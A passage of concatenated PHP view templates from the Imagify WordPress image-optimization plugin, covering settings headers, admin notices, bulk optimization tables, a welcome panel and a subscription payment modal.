at the site’s root will be optimized (sub-folders can be selected separately).', 'imagify' ), '<strong>', '</strong>' ); ?> <br/> <?php esc_html_e( 'Folders that are hidden in the folder selector window are excluded and will not be optimized even if a parent folder is selected.', 'imagify' ); ?> </p> <p class="imagify-success hidden"><?php esc_html_e( 'You changed your custom folder settings, don\'t forget to save your changes!', 'imagify' ); ?></p> <script type="text/html" id="tmpl-imagify-custom-folder"> <?php $this->print_template( 'part-settings-row-custom-folder', [ 'value' => '{{ data.value }}', 'label' => '{{ data.label }}', ] ); ?> </script> </div> </div> </div> part-discount-banner.php 0000644 00000001262 15174671777 0011343 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="imagify-modal-promotion" aria-hidden="true"> <p class="imagify-promo-title"> <?php printf( /* translators: %1$s is a formatted percentage, %2$s is a subscription plan name. */ esc_html__( '%1$s OFF on %2$s subscriptions', 'imagify' ), '<span class="imagify-promotion-number"></span>', '<span class="imagify-promotion-plan-name"></span>' ); ?> </p> <p class="imagify-until-date"> <?php printf( /* translators: %s is a formatted date. */ esc_html__( 'Special Offer<br><strong>Until %s</strong>', 'imagify' ), '<span class="imagify-promotion-date"></span>' ); ?> </p> </div> <?php page-files-list.php 0000644 00000000672 15174671777 0010275 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="wrap imagify-files-list"> <?php $this->print_template( 'part-files-list-header' ); ?> <form id="imagify-files-list-form" method="get"> <input type="hidden" name="page" value="<?php echo esc_attr( Imagify_Views::get_instance()->get_files_page_slug() ); ?>"/> <?php $this->list_table->views(); ?> <?php $this->list_table->display(); ?> </form> </div> <?php part-bulk-optimization-newbie.php 0000644 00000001471 15174671777 0013202 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="imagify-bulk-table imagify-newbie"> <p class="imagify-new-feature"><?php esc_html_e( 'New Feature!', 'imagify' ); ?></p> <div class="imagify-table-header imagify-flex imagify-vcenter"> <div class="imagify-th-titles imagify-flex imagify-vcenter"> <span class="dashicons dashicons-admin-plugins"></span> <div class="imagify-th-titles"> <p class="imagify-th-title"><?php esc_html_e( 'Optimize the images from your site\'s folders', 'imagify' ); ?></p> </div> </div> <div class="imagify-th-action"> <a class="hide-if-no-js button imagify-button-secondary" href="<?php echo esc_url( get_imagify_admin_url() ); ?>#custom-folders"> <?php esc_html_e( 'Choose your folders to optimize', 'imagify' ); ?> </a> </div> </div> </div> notice-footer.php 0000644 00000000707 15174671777 0010064 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> </div> <?php if ( ! empty( $data['dismissible'] ) ) : ?> <a href="<?php echo esc_url( get_imagify_admin_url( 'dismiss-notice', $data['dismissible'] ) ); ?>" class="imagify-notice-dismiss notice-dismiss" title="<?php esc_attr_e( 'Dismiss this notice', 'imagify' ); ?>"><span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice', 'imagify' ); ?></span></a> <?php endif; ?> </div> notice-http-block-external.php 0000644 00000001554 15174671777 0012456 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $this->print_template( 'notice-header', [ 'title' => __( 'The external HTTP requests are blocked!', 'imagify' ), 'classes' => [ 'error' ], ] ); ?> <p> <?php esc_html_e( 'You defined the <code>WP_HTTP_BLOCK_EXTERNAL</code> constant in the <code>wp-config.php</code> to block all external HTTP requests.', 'imagify' ); ?> </p> <p> <?php esc_html_e( 'To optimize your images, you have to put the following code in your <code>wp-config.php</code> file so that it works correctly.', 'imagify' ); ?><br/> <?php esc_html_e( 'Click on the field and press Ctrl-A to select all.', 'imagify' ); ?> </p> <p> <textarea readonly="readonly" class="large-text readonly" rows="1">define( 'WP_ACCESSIBLE_HOSTS', '*.imagify.io' );</textarea> </p> <?php $this->print_template( 'notice-footer', [ 'dismissible' => 'http-block-external', ] ); modal-settings-partners-infos.php 0000644 00000001151 15174671777 0013203 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="imagify-modal" id="imagify-partners-info"> <div class="imagify-modal-content"> <p> <?php esc_html_e( 'Partner links are links to products we trust which might be displayed in the Imagify plugin or the plugin modal page. We may earn an affiliate commission if you make a purchase via these links.', 'imagify' ); ?> </p> <button type="button" class="close-btn"> <i class="dashicons dashicons-no-alt" aria-hidden="true"></i> <span class="screen-reader-text"><?php esc_html_e( 'Close' ); ?></span> </button> </div> </div> <?php part-settings-header.php 0000644 00000014015 15174671777 0011336 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <h1 class="screen-reader-text"><?php esc_html_e( 'Settings', 'imagify' ); ?> — Imagify <?php echo esc_html( IMAGIFY_VERSION ); ?></h1> <div class="imagify-title"> <p class="imagify-logo-block"> <span class="imagify-lb-icon"> <svg width="38px" height="39px" viewBox="0 0 38 39" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd" transform="translate(-30.000000, -33.000000)"><g fill="#40B1D0" fill-rule="nonzero" stroke="#40B1D0"><g transform="translate(31.000000, 28.000000)"><g transform="translate(0.000000, 6.000000)"><path d="M21.54416,37.0285714 L14.458596,37.0285714 C13.6283527,37.0285714 12.9259577,36.4176 12.8258356,35.6076 L12.2158609,31.3493143 C11.382537,30.9728571 10.5753988,30.5038286 9.80830952,29.9499429 L5.79880447,31.5622286 C5.00398903,31.8507429 4.13831794,31.5298286 3.75477328,30.8262857 L0.221233299,24.7026857 C-0.180795443,23.9636571 -0.00827736236,23.0765143 0.621721701,22.5766286 L4.02279244,19.9121143 C3.97196122,19.3906286 3.94577544,18.9385714 3.94577544,18.5142857 C3.94577544,18.09 3.97196122,17.6379429 4.02587312,17.1164571 L0.627883061,14.4565714 C-0.0190597424,13.9443429 -0.190037483,13.0278857 0.227394659,12.3212571 L3.76555566,6.1884 C4.15064066,5.48177143 5.02555379,5.16394286 5.79418345,5.4648 L9.81447088,7.08171429 C10.616988,6.50777143 11.4102631,6.04645714 12.2174013,5.6808 L12.8289163,1.40554286 C12.927498,0.610971429 13.6298931,0 14.4601363,0 L21.5457004,0 C22.3759436,0 23.0783387,0.610971429 23.1784608,1.42097143 L23.7884354,5.6808 C24.6217594,6.05571429 25.4273572,6.52474286 26.1944465,7.08017143 L30.2039516,5.46788571 C30.994146,5.17628571 31.8613574,5.49874286 32.2479828,6.20382857 L35.7815227,12.3274286 C36.1850918,13.0664571 36.0110334,13.9536 35.379494,14.4534857 L31.9784233,17.1164571 C32.0215528,17.5268571 32.0585209,18.0066857 32.0585209,18.5142857 C32.0585209,19.0218857 32.0230931,19.5017143 31.9784233,19.9121143 L35.3764133,22.5735429 C36.0110334,23.0780571 36.1835515,23.9652 35.7907648,24.6872571 L32.2387407,30.8417143 C31.8536557,31.5483429 30.9756619,31.8630857 30.2101129,31.5653143 L26.1898255,29.9484 C25.3873084,30.5223429 24.5940333,30.9836571 23.7868951,31.3493143 L23.1753801,35.6230286 C23.0767984,36.4176 22.3744033,37.0285714 21.54416,37.0285714 Z M9.92383502,28.3006286 C10.0901917,28.3006286 10.2565485,28.3546286 10.3936387,28.4610857 C11.2793342,29.1430286 12.2266433,29.6938286 13.2109206,30.0980571 C13.4635364,30.2014286 13.6422158,30.4313143 13.6822646,30.7028571 L14.3553932,35.4039429 L21.54416,35.4857143 L22.3220317,30.7013143 C22.3605402,30.4297714 22.54076,30.1998857 22.7933758,30.0965143 C23.7391446,29.7092571 24.6618082,29.1708 25.616819,28.4549143 C25.8324666,28.2944571 26.1158892,28.2558857 26.3654243,28.3561714 L30.7754177,30.1304571 L34.4445076,23.9312571 C34.4691531,23.8880571 34.4614514,23.8186286 34.4214025,23.7862286 L30.6876183,20.8609714 C30.4750514,20.6943429 30.3641469,20.4258857 30.3980344,20.1574286 C30.4565673,19.6884 30.5166406,19.1268 30.5166406,18.5142857 C30.5166406,17.9033143 30.4565673,17.3401714 30.3980344,16.8711429 C30.3641469,16.6011429 30.4750514,16.3342286 30.6876183,16.1676 L34.4260235,13.2408 C34.4629917,13.2114857 34.4691531,13.1436 34.4368059,13.0834286 L30.9032659,6.95982857 L26.3669646,8.67394286 C26.1128085,8.77731429 25.8278456,8.7372 25.6106577,8.57057143 C24.7234218,7.88708571 23.7761127,7.33628571 22.7933758,6.9336 C22.54076,6.83022857 22.3620806,6.60034286 22.3220317,6.3288 L21.6504435,1.62617143 L14.4601363,1.54285714 L13.6807243,6.3288 C13.6422158,6.5988 13.4635364,6.82868571 13.2109206,6.9336 C12.2651518,7.32085714 11.3409478,7.85777143 10.3874774,8.5752 C10.1702894,8.7372 9.8884072,8.77577143 9.63733177,8.67394286 L5.22733833,6.89965714 L1.55824843,13.0988571 L5.31513771,16.1676 C5.52770463,16.3342286 5.63860911,16.6011429 5.60472163,16.8711429 C5.52462395,17.5191429 5.48611545,18.0406286 5.48611545,18.5142857 C5.48611545,18.9879429 5.52308361,19.5109714 5.60472163,20.1574286 C5.63860911,20.4258857 5.52770463,20.6943429 5.31513771,20.8609714 L1.57673251,23.7877714 C1.53976435,23.8170857 1.53360299,23.8865143 1.56595013,23.9466857 L5.09949011,30.0702857 L9.63579143,28.3561714 C9.72975217,28.3176 9.8267936,28.3006286 9.92383502,28.3006286 Z M18.001378,26.2285714 C13.7546606,26.2285714 10.299678,22.7679429 10.299678,18.5142857 C10.299678,14.2606286 13.7546606,10.8 18.001378,10.8 C22.2480954,10.8 25.7030781,14.2606286 25.7030781,18.5142857 C25.7030781,22.7679429 22.2480954,26.2285714 18.001378,26.2285714 Z M18.001378,12.3428571 C14.603388,12.3428571 11.840018,15.1107429 11.840018,18.5142857 C11.840018,21.9178286 14.603388,24.6857143 18.001378,24.6857143 C21.3993681,24.6857143 24.1627381,21.9178286 24.1627381,18.5142857 C24.1627381,15.1107429 21.3993681,12.3428571 18.001378,12.3428571 Z"></path></g></g></g></g></svg> </span> <span class="imagify-lb-text"> <img width="139" height="16" alt="Imagify" src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>imagify-logo.png" class="imagify-logo" /> <?php esc_html_e( 'Settings', 'imagify' ); ?> </span> </p> <?php if ( Imagify_Options::get_instance()->get( 'api_key' ) ) { ?> <p class="imagify-rate-us"> <?php printf( /* translators: 1 is a "bold" tag start, 2 is the "bold" tag end + a line break tag, 3 is a link tag start, 4 is the link tag end. */ esc_html__( '%1$sDo you like this plugin?%2$s Please take a few seconds to %3$srate it on WordPress.org%4$s!', 'imagify' ), '<strong>', '</strong><br />', '<a href="' . esc_url( imagify_get_external_url( 'rate' ) ) . '" target="_blank">', '</a>' ); ?> <br> <a class="stars" aria-hidden="true" href="<?php echo esc_url( imagify_get_external_url( 'rate' ) ); ?>" target="_blank"><?php echo str_repeat( '<span class="dashicons dashicons-star-filled"></span>', 5 ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></a> </p> <?php } ?> <?php $this->print_template( 'part-documentation-link' ); ?> </div> <?php notice-temporary.php 0000644 00000001055 15174671777 0010605 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $notices = []; foreach ( $data as $notice_data ) { if ( empty( $notices[ $notice_data['type'] ] ) ) { $notices[ $notice_data['type'] ] = []; } $notices[ $notice_data['type'] ][] = $notice_data; } foreach ( $notices as $type_id => $type_notices ) { ?> <div class="<?php echo esc_attr( $type_id ); ?> settings-error notice is-dismissible"> <?php foreach ( $type_notices as $details ) { ?> <p><strong><?php echo wp_kses( $details['message'], [ 'code' => [] ] ); ?></strong></p> <?php } ?> </div> <?php } part-bulk-optimization-table.php 0000644 00000007521 15174671777 0013022 0 ustar 00 <?php use Imagify\Bulk\Bulk; defined( 'ABSPATH' ) || exit; ?> <div class="imagify-bulk-table"> <div class="imagify-table-header imagify-flex imagify-vcenter imagify-resting"> <div class="imagify-th-titles imagify-flex imagify-vcenter"> <span class="dashicons dashicons-<?php echo esc_attr( $data['icon'] ); ?>"></span> <div class="imagify-th-titles"> <p class="imagify-th-title"><?php echo esc_html( $data['title'] ); ?></p> </div> </div> </div> <?php $types = []; $total = 0; $remaining = 0; $percentage = 0; foreach ( $data['groups'] as $group ) { $types[ $group['group_id'] . '|' . $group['context'] ] = true; $transient = get_transient( "imagify_{$group['context']}_optimize_running" ); if ( false !== $transient ) { $total += $transient['total']; $remaining += $transient['remaining']; } } if ( 0 !== $total ) { $percentage = ( $total - $remaining ) / $total * 100; } $bulk = Bulk::get_instance(); $aria_hidden = 'aria-hidden="true"'; $hidden = 'hidden'; $style = ''; $display = ''; if ( 0 !== $percentage && 100 !== $percentage ) { $percentage = round( $percentage ); $aria_hidden = ''; $hidden = ''; $style = 'style="width:' . $percentage . '%;"'; $display = 'style="display:block;"'; } ?> <div class="imagify-bulk-table-content"> <div class="imagify-bulk-table-container"> <div <?php echo $aria_hidden; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> class="imagify-row-progress <?php echo esc_attr( $hidden ); ?>" <?php echo $display; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <div class="media-item"> <div class="progress"> <div class="bar" <?php echo $style; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>><div class="percent"><?php echo esc_html( $percentage ); ?>%</div></div> </div> </div> </div> <table> <thead> <tr class="screen-reader-text"> <th class="imagify-cell-checkbox"><?php esc_html_e( 'Group selection', 'imagify' ); ?></th> <th class="imagify-cell-title"><?php esc_html_e( 'Group name', 'imagify' ); ?></th> <th class="imagify-cell-count-optimized"><?php esc_html_e( 'Number of images optimized', 'imagify' ); ?></th> <th class="imagify-cell-count-errors"><?php esc_html_e( 'Errors', 'imagify' ); ?></th> <th class="imagify-cell-optimized-size-size"><?php esc_html_e( 'Optimized Size', 'imagify' ); ?></th> <th class="imagify-cell-original-size-size"><?php esc_html_e( 'Original Size', 'imagify' ); ?></th> <th class="imagify-cell-level"><?php esc_html_e( 'Level Selection', 'imagify' ); ?></th> </tr> </thead> <tbody> <?php foreach ( $data['groups'] as $group ) { $context_data = $bulk->get_bulk_instance( $group['context'] )->get_context_data(); $group = array_merge( $group, $context_data ); $default_level = Imagify_Options::get_instance()->get( 'optimization_level' ); if ( Imagify_Options::get_instance()->get( 'lossless' ) ) { $default_level = 0; } $group['level'] = $default_level; $running = get_transient( "imagify_{$group['context']}_optimize_running" ); $group['spinner_class'] = 'hidden'; $group['spinner_aria'] = 'aria-hidden="true"'; $group['checkbox_class'] = ''; $group['checkbox_aria'] = 'aria-hidden="false"'; if ( false !== $running ) { $group['spinner_class'] = ''; $group['spinner_aria'] = 'aria-hidden="false"'; $group['checkbox_class'] = 'hidden'; $group['checkbox_aria'] = 'aria-hidden="true"'; } $this->print_template( 'part-bulk-optimization-table-row-folder-type', $group ); } ?> </tbody> </table> </div><!-- .imagify-bulk-table-container --> </div><!-- .imagify-bulk-table-content --> </div> notice-welcome-steps.php 0000644 00000006176 15174671777 0011363 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="imagify-welcome"> <div class="imagify-title"> <img class="imagify-logo" src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>imagify-logo.png" width="225" height="26" alt="Imagify" /> <span class="baseline"> <?php esc_html_e( 'Welcome to Imagify, the best way to easily optimize your images!', 'imagify' ); ?> </span> <a href="<?php echo esc_url( get_imagify_admin_url( 'dismiss-notice', 'welcome-steps' ) ); ?>" class="imagify-notice-dismiss imagify-welcome-remove" title="<?php esc_attr_e( 'Dismiss this notice', 'imagify' ); ?>"><span class="dashicons dashicons-dismiss"></span><span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice', 'imagify' ); ?></span></a> </div> <div class="imagify-settings-section"> <div class="imagify-columns counter"> <div class="col-1-3"> <img src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>user.svg" width="48" height="48" alt=""> <div class="imagify-col-content"> <p class="imagify-col-title"><?php esc_html_e( 'Create an Account', 'imagify' ); ?></p> <p class="imagify-col-desc"><?php esc_html_e( 'Don\'t have an Imagify account yet? Optimize your images by creating an account in a few seconds!', 'imagify' ); ?></p> <p> <?php wp_nonce_field( 'imagify-signup', 'imagifysignupnonce', false ); ?> <a id="imagify-signup" target="_blank" href="<?php echo esc_url( imagify_get_external_url( 'register' ) ); ?>" class="button button-primary"><?php esc_html_e( 'Sign up, It\'s FREE!', 'imagify' ); ?></a> </p> </div> </div> <div class="col-1-3"> <img src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>key.svg" width="48" height="48" alt=""> <div class="imagify-col-content"> <p class="imagify-col-title"><?php esc_html_e( 'Enter your API Key', 'imagify' ); ?></p> <p class="imagify-col-desc"> <?php printf( /* translators: 1 is a link tag start, 2 is the link tag end. */ esc_html__( 'Save your API Key you have received by email or you can get it on your %1$sImagify account page%2$s.', 'imagify' ), '<a target="_blank" href="' . esc_url( imagify_get_external_url( 'get-api-key' ) ) . '">', '</a>' ); ?> </p> <p> <?php wp_nonce_field( 'imagify-check-api-key', 'imagifycheckapikeynonce', false ); ?> <a id="imagify-save-api-key" href="<?php echo esc_url( get_imagify_admin_url() ); ?>" class="button button-primary"><?php esc_html_e( 'I have my API key', 'imagify' ); ?></a> </p> </div> </div> <div class="col-1-3"> <img src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>gear.svg" width="48" height="48" alt=""> <div class="imagify-col-content"> <p class="imagify-col-title"><?php esc_html_e( 'Configure it', 'imagify' ); ?></p> <p class="imagify-col-desc"><?php esc_html_e( 'It’s almost done! You have just to configure your optimization settings.', 'imagify' ); ?></p> <p><a href="<?php echo esc_url( get_imagify_admin_url() ); ?>" class="button button-primary"><?php esc_html_e( 'Go to Settings', 'imagify' ); ?></a></p> </div> </div> </div> </div> </div> part-settings-webp-missing-message.php 0000644 00000000636 15174671777 0014140 0 ustar 00 <p> <?php echo esc_html( sprintf( /* translators: %s is a formatted number (don’t use %d). */ _n( 'It seems that you have %s optimized image without Next-Gen versions. You can generate it here.', 'It seems that you have %s optimized images without Next-Gen versions. You can generate them here.', $data['count'], 'imagify' ), number_format_i18n( $data['count'] ) ) ); ?> </p> part-bulk-optimization-overquota-alert.php 0000644 00000002320 15174671777 0015055 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $overquota_url = imagify_get_external_url( 'subscription', [ 'utm_source' => 'plugin', 'utm_medium' => 'imagify-wp', 'utm_content' => 'over-quota', ] ); ?> <div class="imagify-swal-subtitle"><?php esc_html_e( 'Upgrade your account to continue optimizing your images.', 'imagify' ); ?></div> <div class="imagify-swal-content imagify-txt-start"> <?php if ( Imagify_Requirements::is_api_key_valid() ) { ?> <strong><?php esc_html_e( 'To continue optimizing your images, you can upgrade your subscription.', 'imagify' ); ?></strong> <?php } ?> </div> <div class="imagify-swal-buttonswrapper"> <a href="<?php echo esc_url( $overquota_url ); ?>" target="_blank" class="imagify-button imagify-button-primary button"> <svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg"><g fill="#000" fill-rule="nonzero" transform="translate(1 1)" stroke="#fff"><polygon points="8.75 0 8.75 0.7 12.8065 0.7 5.0015 8.5015 5.4985 8.9985 13.3 1.1935 13.3 5.25 14 5.25 14 0"/><polygon points="11.9 13.3 0.7 13.3 0.7 2.1 6.3 2.1 6.3 1.4 0 1.4 0 14 12.6 14 12.6 7.7 11.9 7.7"/></g></svg> <?php esc_html_e( 'See our plans on the Imagify website', 'imagify' ); ?> </a> </div> notice-header.php 0000644 00000001226 15174671777 0010013 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="clear"></div> <div class="imagify-notice below-h2<?php echo ( ! empty( $data['classes'] ) ? ' ' . implode( ' ', $data['classes'] ) : '' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>"> <div class="imagify-notice-logo"> <img class="imagify-logo" src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>imagify-logo.png" width="138" height="16" alt="Imagify" /> </div> <div class="imagify-notice-content"> <?php if ( ! empty( $data['title'] ) ) : ?> <p class="imagify-notice-title"><strong><?php echo esc_html( $data['title'] ); ?></strong></p> <?php endif; ?> modal-payment.php 0000644 00000016314 15174671777 0010057 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div id="imagify-pricing-modal" class="imagify-modal imagify-payment-modal hide-if-no-js" aria-hidden="false" role="dialog"> <div class="imagify-modal-content"> <div class="imagify-modal-main"> <?php /** * SECOND MODAL VIEW. */ ?> <div class="imagify-modal-views imagify-plans-selection-view" id="imagify-plans-selection-view" aria-hidden="true"> <p class="imagify-modal-title"><?php esc_html_e( 'Choose the Perfect Plan for Your Needs', 'imagify' ); ?></p> <div class="imagify-tabs-contents"> <div class="imagify-tab-content imagify-current" id="imagify-pricing-tab-monthly" role="tabpanel"> <div class="imagify-modal-section"> <p><?php esc_html_e( 'Pick the plan that fits your image optimization goals and unlock the full potential of Imagify!', 'imagify' ); ?></p> </div> <?php $this->print_template( 'part-settings-discount-banner' ); ?> <div class="imagify-toggle-container"> <span class="imagify-toggle-label">Monthly</span> <label class="imagify-switch"> <input type="checkbox" id="imagify-toggle-plan" checked> <span class="imagify-slider"></span> </label> <span class="imagify-toggle-label">Yearly</span> <div class="imagify-arrow-container"> <img src="data:image/svg+xml;charset=utf-8,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 width=%2765%27 height=%2729%27 fill=%27none%27%3E%3Cpath fill=%27%23B8BFC5%27 d=%27M1.566 14.504a.5.5 0 0 0-.562.43l-.594 4.46a.5.5 0 1 0 .99.133l.53-3.965 3.964.528a.5.5 0 0 0 .133-.99l-4.46-.596Zm40.077-1.475.495-.07-.495.07ZM64.5 1a.5.5 0 0 0-1 0h1ZM32.616 13.054l-.47.17.47-.17Zm-31.513 2.25C7.708 23.94 18.576 28.252 27.473 28c4.45-.125 8.465-1.395 11.202-3.904 2.758-2.527 4.158-6.255 3.463-11.138l-.99.141c.654 4.599-.664 7.983-3.148 10.26-2.505 2.295-6.258 3.52-10.555 3.642-8.6.243-19.153-3.942-25.548-12.305l-.794.608Zm41.035-2.346c-.413-2.903-1.816-4.72-3.496-5.83l-.551.833c1.448.957 2.685 2.526 3.057 5.138l.99-.14Zm-9.992.267c1.477 4.073 4.263 6.62 7.615 7.806 3.338 1.18 7.203 1 10.855-.299C57.919 18.135 64.5 11.018 64.5 1h-1c0 9.537-6.257 16.314-13.219 18.79-3.48 1.238-7.105 1.388-10.187.298-3.067-1.085-5.632-3.41-7.008-7.204l-.94.34Zm6.496-6.098c-1.925-1.272-3.97-.785-5.3.538-1.316 1.308-1.962 3.45-1.197 5.56l.94-.341c-.624-1.723-.095-3.46.962-4.51 1.042-1.036 2.568-1.388 4.044-.413l.551-.834Z%27/%3E%3C/svg%3E" /> <img src="data:image/svg+xml;charset=utf-8,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 width=%2766%27 height=%2729%27 fill=%27none%27%3E%3Cpath fill=%27%238BC34A%27 d=%27M2.632 14.009a1 1 0 0 0-1.123.859l-1.19 8.92a1 1 0 0 0 1.983.265l1.057-7.93 7.93 1.058a1 1 0 1 0 .264-1.983l-8.92-1.19Zm40.01-.98.99-.141-.99.14ZM66 1a1 1 0 1 0-2 0h2ZM33.616 13.054l-.94.341.94-.34Zm-31.91 2.553c6.71 8.775 17.736 13.149 26.78 12.893 4.528-.128 8.673-1.42 11.527-4.035 2.894-2.652 4.335-6.552 3.62-11.577l-1.98.282c.634 4.456-.643 7.669-2.991 9.82-2.389 2.189-6.01 3.392-10.232 3.511-8.451.239-18.846-3.883-25.136-12.109l-1.588 1.216Zm41.927-2.719c-.434-3.05-1.92-4.991-3.715-6.178l-1.103 1.668c1.332.88 2.487 2.325 2.838 4.792l1.98-.282Zm-10.958.507c1.529 4.213 4.425 6.871 7.92 8.107 3.466 1.226 7.45 1.03 11.188-.299C59.257 18.546 66 11.258 66 1h-2c0 9.296-6.095 15.904-12.887 18.319-3.394 1.207-6.899 1.342-9.852.297-2.925-1.034-5.38-3.248-6.705-6.903l-1.88.682Zm7.243-6.685c-2.15-1.421-4.454-.866-5.929.6-1.446 1.438-2.149 3.782-1.313 6.085l1.88-.682c-.555-1.529-.083-3.063.844-3.985.898-.893 2.164-1.176 3.415-.35l1.103-1.668Z%27/%3E%3C/svg%3E" /> </div> <div class="imagify-badge-container"> <span class="imagify-badge">2 MONTHS FREE</span> </div> </div> <div class="imagify-pricing-table imagify-year-selected" id="imagify_all_plan_view"> <script type="text/html" id="imagify-offer-monthly-template"><div class="imagify-offer-line imagify-offer-monthlies imagify-flex-table"> <div class="imagify-col-details imagify-col-label"> <p class="imagify-label-plans"></p> </div> <div class="imagify-col-details"> <p> <span class="imagify-the-offer"> <span class="imagify-offer-size"></span> <span class="imagify-offer-by"><?php esc_html_e( '/month', 'imagify' ); ?></span> </span> <span class="imagify-approx"> <?php printf( /* translators: %s is a formatted number (don't use %d). */ esc_html__( 'approx: %s images', 'imagify' ), '<span class="imagify-approx-nb"></span>' ); ?> </span> </p> </div> <div class="imagify-col-price imagify-flex-table"> <span class="imagify-price-block"> <span class="imagify-dollars">$</span> <span class="imagify-number-block"> <span class="imagify-switch-my"></span> </span> <span class="imagify-price-by"><?php esc_html_e( '/month', 'imagify' ); ?></span> </span> <span class="imagify-recommend" aria-hidden="true"><?php esc_html_e( 'We recommend for you', 'imagify' ); ?></span> <p class="imagify-price-complement"> <?php printf( /* translators: %s is a formatted price. */ esc_html__( 'Unlimited upload size<br />Unlimited websites<br />%s', 'imagify' ), '<span class="imagify-price-add-data"></span>' ); ?> </p> </div><!-- .imagify-col-price --> <div class="imagify-col-other-actions imagify-choose-plan-col"> <button type="button" class="button imagify-button-secondary mini imagify-payment-btn-select-plan"><?php esc_html_e( 'Choose plan', 'imagify' ); ?></button> </div> </div><!-- .imagify-offer-line --></script> </div><!-- .imagify-pricing-table --> <p class="imagify-footer-lines">You can upgrade, downgrade or cancel your plan at any time!</p> </div><!-- .imagify-tab-content --> </div><!-- .imagify-tabs-contents --> </div><!-- .imagify-plans-selection-view --> <?php /** * THIRD MODAL VIEW. */ ?> <div class="imagify-modal-views imagify-payment-process-view" id="imagify-payment-process-view" aria-hidden="true"> <iframe data-imagify-api="<?php echo esc_attr( get_imagify_option( 'api_key' ) ); ?>" id="imagify-payment-iframe" data-src="<?php echo esc_url( imagify_get_external_url( 'payment' ) ); ?>" name="imagify-payment-iframe"></iframe> </div><!-- .imagify-modal-views --> <?php /** * SUCCESS VIEW. */ ?> <div class="imagify-modal-views imagify-success-view" id="imagify-success-view" aria-hidden="true"> <img src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL ); ?>big-blue-check.png" width="113" height="109" alt=""> <p><?php esc_html_e( 'Thank you for being awesome!', 'imagify' ); ?></p> </div><!-- .imagify-modal-views --> <button class="close-btn" type="button"> <i aria-hidden="true" class="dashicons dashicons-no-alt"></i> <span class="screen-reader-text"><?php esc_html_e( 'Close', 'imagify' ); ?></span> </button> </div><!-- .imagify-modal-main --> <div class="imagify-modal-loader"></div> </div><!-- .imagify-modal-content--> </div><!-- .imagify-payment-modal --> <?php notice-plugins-to-deactivate.php 0000644 00000001757 15174671777 0013004 0 ustar 00 <?php use Imagify\Notices\Notices; defined( 'ABSPATH' ) || exit; $this->print_template( 'notice-header', [ 'classes' => [ 'error' ], ] ); ?> <p><?php echo esc_html( _n( 'The following plugin is not compatible with this plugin and may cause unexpected results:', 'The following plugins are not compatible with this plugin and may cause unexpected results:', count( $data ), 'imagify' ) ); ?></p> <ul class="imagify-plugins-error"> <?php foreach ( $data as $plugin_name ) { $plugin_data = get_plugin_data( WP_PLUGIN_DIR . DIRECTORY_SEPARATOR . $plugin_name ); $deactivate_url = wp_nonce_url( admin_url( 'admin-post.php?action=imagify_deactivate_plugin&plugin=' . rawurlencode( $plugin_name ) ), Notices::DEACTIVATE_PLUGIN_NONCE_ACTION ); echo '<li>' . esc_html( $plugin_data['Name'] ) . '</span> <a href="' . esc_url( $deactivate_url ) . '" class="button button-mini alignright">' . esc_html__( 'Deactivate', 'imagify' ) . '</a></li>'; } ?> </ul> <?php $this->print_template( 'notice-footer' ); part-settings-files-tree-row.php 0000644 00000006620 15174671777 0012755 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $disabled_class = $data['checkbox_selected'] ? ' disabled' : ''; if ( $data['checkbox_selected'] ) { // translators: %s is a folder path. $button_title = sprintf( esc_attr__( 'The folder "%s" is already selected.', 'imagify' ), $data['relative_path'] ); // translators: %s is a folder path. $folder_title = sprintf( esc_attr__( 'The folder "%s" is already selected.', 'imagify' ), $data['relative_path'] ); } else { // translators: %s is a folder path. $button_title = sprintf( esc_attr__( 'Open/Close the folder "%s".', 'imagify' ), $data['relative_path'] ); // translators: %s is a folder path. $folder_title = sprintf( esc_attr__( 'Select the folder "%s".', 'imagify' ), $data['relative_path'] ); } ?> <li <?php echo $data['checkbox_selected'] ? ' class="imagify-folder-already-selected"' : ''; ?>> <?php if ( empty( $data['no_button'] ) ) : ?> <button type="button" class="imagify-folder" data-folder="<?php echo esc_attr( $data['relative_path'] ); ?>"<?php disabled( true, $data['checkbox_selected'] ); ?> title="<?php echo esc_attr( $button_title ); ?>"> <?php if ( ! $data['checkbox_selected'] ) { ?> <span class="imagify-loader"><img alt="<?php esc_attr_e( 'Loading...', 'imagify' ); ?>" src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL . 'spinner.gif' ); ?>" 